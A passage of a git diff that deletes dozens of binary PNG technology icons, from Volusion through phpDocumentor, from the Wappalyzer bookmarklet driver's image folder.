file mode 100644 index 20e6d10..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Volusion.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vox.png deleted file mode 100644 index 8644dd5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Vox.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vue.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vue.js.png deleted file mode 100644 index 2c33e39..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Vue.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/W3 Total Cache.png b/Wappalyzer/drivers/bookmarklet/images/icons/W3 Total Cache.png deleted file mode 100644 index 36f470f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/W3 Total Cache.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/W3Counter.png b/Wappalyzer/drivers/bookmarklet/images/icons/W3Counter.png deleted file mode 100644 index fe9eab5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/W3Counter.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WP Rocket.png b/Wappalyzer/drivers/bookmarklet/images/icons/WP Rocket.png deleted file mode 100644 index 1e66ecc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WP Rocket.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Web Optimizer.png b/Wappalyzer/drivers/bookmarklet/images/icons/Web Optimizer.png deleted file mode 100644 index 64fe47f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Web Optimizer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Web2py.png b/Wappalyzer/drivers/bookmarklet/images/icons/Web2py.png deleted file mode 100644 index 252c602..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Web2py.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WebGUI.png b/Wappalyzer/drivers/bookmarklet/images/icons/WebGUI.png deleted file mode 100644 index baf6317..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WebGUI.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WebPublisher.png b/Wappalyzer/drivers/bookmarklet/images/icons/WebPublisher.png deleted file mode 100644 index e0310ca..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WebPublisher.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Webix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Webix.png deleted file mode 100644 index a2c9014..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Webix.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WebsPlanet.png b/Wappalyzer/drivers/bookmarklet/images/icons/WebsPlanet.png deleted file mode 100644 index 9ade2d1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WebsPlanet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Websale.png b/Wappalyzer/drivers/bookmarklet/images/icons/Websale.png deleted file mode 100644 index 6d67ddc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Websale.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WebsiteBaker.png b/Wappalyzer/drivers/bookmarklet/images/icons/WebsiteBaker.png deleted file mode 100644 index 43ec16c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WebsiteBaker.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Webtrekk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Webtrekk.png deleted file mode 100644 index 4c543b9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Webtrekk.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Webtrends.png b/Wappalyzer/drivers/bookmarklet/images/icons/Webtrends.png deleted file mode 100644 index 9de450f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Webtrends.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Weebly.png b/Wappalyzer/drivers/bookmarklet/images/icons/Weebly.png deleted file mode 100644 index 5713427..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Weebly.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WikkaWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/WikkaWiki.png deleted file mode 100644 index 85d0217..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WikkaWiki.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Windows CE.png b/Wappalyzer/drivers/bookmarklet/images/icons/Windows CE.png deleted file mode 100644 index deabbd5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Windows CE.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Windows Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Windows Server.png deleted file mode 100644 index deabbd5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Windows Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Wink.png b/Wappalyzer/drivers/bookmarklet/images/icons/Wink.png deleted file mode 100644 index 3e72040..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Wink.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Winstone Servlet Container.png b/Wappalyzer/drivers/bookmarklet/images/icons/Winstone Servlet Container.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Winstone Servlet Container.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Wix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Wix.png deleted file mode 100644 index 4662773..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Wix.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Wolf CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Wolf CMS.png deleted file mode 100644 index 67815a9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Wolf CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WooCommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/WooCommerce.png deleted file mode 100644 index 9772015..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WooCommerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Woopra.png b/Wappalyzer/drivers/bookmarklet/images/icons/Woopra.png deleted file mode 100644 index 03a4dad..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Woopra.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WordPress Super Cache.png b/Wappalyzer/drivers/bookmarklet/images/icons/WordPress Super Cache.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WordPress Super Cache.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WordPress.png b/Wappalyzer/drivers/bookmarklet/images/icons/WordPress.png deleted file mode 100644 index f23c8c2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/WordPress.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Wowza Media Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Wowza Media Server.png deleted file mode 100755 index 5d1c498..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Wowza Media Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/X-Cart.png b/Wappalyzer/drivers/bookmarklet/images/icons/X-Cart.png deleted file mode 100644 index 3bf643e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/X-Cart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XAMPP.png b/Wappalyzer/drivers/bookmarklet/images/icons/XAMPP.png deleted file mode 100755 index 4e61872..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/XAMPP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XMB.png b/Wappalyzer/drivers/bookmarklet/images/icons/XMB.png deleted file mode 100644 index 1850b22..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/XMB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XOOPS.png b/Wappalyzer/drivers/bookmarklet/images/icons/XOOPS.png deleted file mode 100644 index 1e4918a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/XOOPS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XRegExp.png b/Wappalyzer/drivers/bookmarklet/images/icons/XRegExp.png deleted file mode 100644 index f0bba7a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/XRegExp.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Xajax.png b/Wappalyzer/drivers/bookmarklet/images/icons/Xajax.png deleted file mode 100644 index 3283cb2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Xajax.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Xanario.png b/Wappalyzer/drivers/bookmarklet/images/icons/Xanario.png deleted file mode 100644 index 6fe9112..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Xanario.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XenForo.png b/Wappalyzer/drivers/bookmarklet/images/icons/XenForo.png deleted file mode 100644 index 137d792..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/XenForo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XiTi.png b/Wappalyzer/drivers/bookmarklet/images/icons/XiTi.png deleted file mode 100755 index 6e20ea9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/XiTi.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Xitami.png b/Wappalyzer/drivers/bookmarklet/images/icons/Xitami.png deleted file mode 100644 index c58a761..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Xitami.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/YUI Doc.png b/Wappalyzer/drivers/bookmarklet/images/icons/YUI Doc.png deleted file mode 100644 index b0b6478..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/YUI Doc.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/YUI.png b/Wappalyzer/drivers/bookmarklet/images/icons/YUI.png deleted file mode 100644 index 0dae7fe..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/YUI.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/YaBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/YaBB.png deleted file mode 100644 index a4f9b28..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/YaBB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo Advertising.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo Advertising.png deleted file mode 100644 index b0b6478..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo Advertising.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Ecommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Ecommerce.png deleted file mode 100644 index b0b6478..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Ecommerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Web Analytics.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Web Analytics.png deleted file mode 100644 index b0b6478..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Web Analytics.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Direct.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Direct.png deleted file mode 100644 index f5d6da8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Direct.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Metrika.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Metrika.png deleted file mode 100644 index 7a9d0e9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Metrika.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yieldlab.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yieldlab.png deleted file mode 100644 index f3e0492..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Yieldlab.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yii.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yii.png deleted file mode 100644 index 4b5b980..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Yii.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/YouTube.png b/Wappalyzer/drivers/bookmarklet/images/icons/YouTube.png deleted file mode 100644 index c9ea433..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/YouTube.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ZK.png b/Wappalyzer/drivers/bookmarklet/images/icons/ZK.png deleted file mode 100644 index 6fcf560..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ZK.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ZURB Foundation.png b/Wappalyzer/drivers/bookmarklet/images/icons/ZURB Foundation.png deleted file mode 100644 index 9940352..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ZURB Foundation.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zabbix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zabbix.png deleted file mode 100755 index c7384dc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zabbix.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zanox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zanox.png deleted file mode 100644 index 6ce8ab2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zanox.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zen Cart.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zen Cart.png deleted file mode 100644 index e1e23b1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zen Cart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zend.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zend.png deleted file mode 100644 index c0c394f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zend.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zepto.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zepto.png deleted file mode 100644 index 2dff493..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zepto.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zeuscart.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zeuscart.png deleted file mode 100644 index abbca7b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zeuscart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zinnia.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zinnia.png deleted file mode 100644 index c144690..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zinnia.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zope.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zope.png deleted file mode 100644 index 287559d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Zope.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/amCharts.png b/Wappalyzer/drivers/bookmarklet/images/icons/amCharts.png deleted file mode 100644 index 945bd5b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/amCharts.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/basket.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/basket.js.png deleted file mode 100644 index 2dc6a00..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/basket.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/cPanel.png b/Wappalyzer/drivers/bookmarklet/images/icons/cPanel.png deleted file mode 100644 index e34e2ed..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/cPanel.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/cgit.png b/Wappalyzer/drivers/bookmarklet/images/icons/cgit.png deleted file mode 100644 index aae35a7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/cgit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/comScore.png b/Wappalyzer/drivers/bookmarklet/images/icons/comScore.png deleted file mode 100644 index 5490f7e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/comScore.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/debut.png b/Wappalyzer/drivers/bookmarklet/images/icons/debut.png deleted file mode 100755 index 737a032..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/debut.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/default.png b/Wappalyzer/drivers/bookmarklet/images/icons/default.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/default.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/dwhttpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/dwhttpd.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/dwhttpd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/e107.png b/Wappalyzer/drivers/bookmarklet/images/icons/e107.png deleted file mode 100644 index 9271535..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/e107.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/eDevice SmartStack.png b/Wappalyzer/drivers/bookmarklet/images/icons/eDevice SmartStack.png deleted file mode 100644 index efb8bac..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/eDevice SmartStack.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/eHTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/eHTTP.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/eHTTP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/eSyndiCat.png b/Wappalyzer/drivers/bookmarklet/images/icons/eSyndiCat.png deleted file mode 100755 index 920d3b6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/eSyndiCat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/eZ Publish.png b/Wappalyzer/drivers/bookmarklet/images/icons/eZ Publish.png deleted file mode 100644 index ec64902..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/eZ Publish.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/flask.png b/Wappalyzer/drivers/bookmarklet/images/icons/flask.png deleted file mode 100644 index 234404b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/flask.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/git.png b/Wappalyzer/drivers/bookmarklet/images/icons/git.png deleted file mode 100644 index bf3c059..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/git.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/gitweb.png b/Wappalyzer/drivers/bookmarklet/images/icons/gitweb.png deleted file mode 100644 index bf3c059..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/gitweb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/gunicorn.png b/Wappalyzer/drivers/bookmarklet/images/icons/gunicorn.png deleted file mode 100644 index e33ac86..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/gunicorn.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/iCongo.png b/Wappalyzer/drivers/bookmarklet/images/icons/iCongo.png deleted file mode 100644 index 842dd83..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/iCongo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/iWeb.png b/Wappalyzer/drivers/bookmarklet/images/icons/iWeb.png deleted file mode 100644 index 160b433..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/iWeb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/io4-CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/io4-CMS.png deleted file mode 100644 index a35e315..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/io4-CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQTouch.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQTouch.png deleted file mode 100644 index 1a44686..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/jQTouch.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Mobile.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Mobile.png deleted file mode 100644 index 5ebf502..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Mobile.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Sparklines.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Sparklines.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Sparklines.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery UI.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery UI.png deleted file mode 100644 index 0021574..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery UI.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery.png deleted file mode 100644 index 5ebf502..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jqPlot.png b/Wappalyzer/drivers/bookmarklet/images/icons/jqPlot.png deleted file mode 100644 index 542a824..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/jqPlot.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/libwww-perl-daemon.png b/Wappalyzer/drivers/bookmarklet/images/icons/libwww-perl-daemon.png deleted file mode 100644 index f903e4b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/libwww-perl-daemon.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/lighttpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/lighttpd.png deleted file mode 100644 index 6698352..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/lighttpd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/math.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/math.js.png deleted file mode 100644 index b497216..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/math.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mini_httpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/mini_httpd.png deleted file mode 100644 index d7a9bbc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mini_httpd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_auth_pam.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_auth_pam.png deleted file mode 100755 index 117b485..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_auth_pam.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_fastcgi.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_fastcgi.png deleted file mode 100644 index 117b485..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_fastcgi.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_jk.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_jk.png deleted file mode 100755 index 117b485..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_jk.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_perl.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_perl.png deleted file mode 100755 index ee03c39..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_perl.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_python.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_python.png deleted file mode 100644 index 09634f1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_python.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_rack.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_rack.png deleted file mode 100644 index df04693..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_rack.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_rails.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_rails.png deleted file mode 100644 index df04693..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_rails.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_ssl.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_ssl.png deleted file mode 100644 index 9ad7110..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_ssl.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_wsgi.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_wsgi.png deleted file mode 100644 index 4f2c705..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/mod_wsgi.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/node.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/node.js.png deleted file mode 100644 index 9cf2664..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/node.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/nopCommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/nopCommerce.png deleted file mode 100644 index f010de0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/nopCommerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/openEngine.png b/Wappalyzer/drivers/bookmarklet/images/icons/openEngine.png deleted file mode 100644 index a1257cd..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/openEngine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/osCSS.png b/Wappalyzer/drivers/bookmarklet/images/icons/osCSS.png deleted file mode 100644 index 9d79779..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/osCSS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/osCommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/osCommerce.png deleted file mode 100644 index 2955ae5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/osCommerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ownCloud.png b/Wappalyzer/drivers/bookmarklet/images/icons/ownCloud.png deleted file mode 100644 index 4c53d11..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ownCloud.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/papaya CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/papaya CMS.png deleted file mode 100644 index 21dd4d5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/papaya CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpAlbum.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpAlbum.png deleted file mode 100644 index 39e4614..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpAlbum.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpBB.png deleted file mode 100644 index debff44..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpBB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpCMS.png deleted file mode 100644 index 11b28ab..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpDocumentor.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpDocumentor.png deleted file mode 100644 index 5137ddb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/phpDocumentor.png and /dev/null differ diff --git 